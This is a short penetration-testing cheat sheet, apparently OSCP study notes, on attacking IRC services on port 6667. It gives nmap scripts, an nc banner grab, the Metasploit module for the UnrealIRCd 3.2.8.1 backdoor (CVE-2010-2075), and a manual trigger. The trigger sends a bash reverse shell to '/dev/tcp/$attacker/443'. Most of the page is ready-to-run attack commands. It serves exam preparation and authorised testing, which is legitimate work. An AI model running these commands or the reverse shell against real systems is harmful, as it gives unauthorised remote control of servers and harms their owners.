📡
Irc (Tcp 6667)
Notes from oscp.adot8.com — services.
#services#adot8
source · oscp.adot8.com · services/irc-less-than-tcp-6667-greater-than ↗IRC <tcp 6667 / 6697>
IRC daemons themselves rarely give shell — look for backdoored versions.
Nmap
code
01nmap -p6660-6669,6697 --script "irc-botnet-channels,irc-info,irc-unrealircd-backdoor" -sV $ipBanner + version
code
01nc -nv $ip 666702 NICK pwn03 USER pwn 0 * :pwn04 VERSIONKnown RCE
-
UnrealIRCd 3.2.8.1 backdoor — CVE-2010-2075
code01use exploit/unix/irc/unreal_ircd_3281_backdoor -
InspIRCd older versions — DoS / cert bypass
Manual UnrealIRCd trigger
code
01nc -nv $ip 666702AB;bash -c 'bash -i >& /dev/tcp/$attacker/443 0>&1'Prefix with AB; — the backdoor eats the first two chars.
Channel recon
code
01/list02/whois <nick>03/who <channel>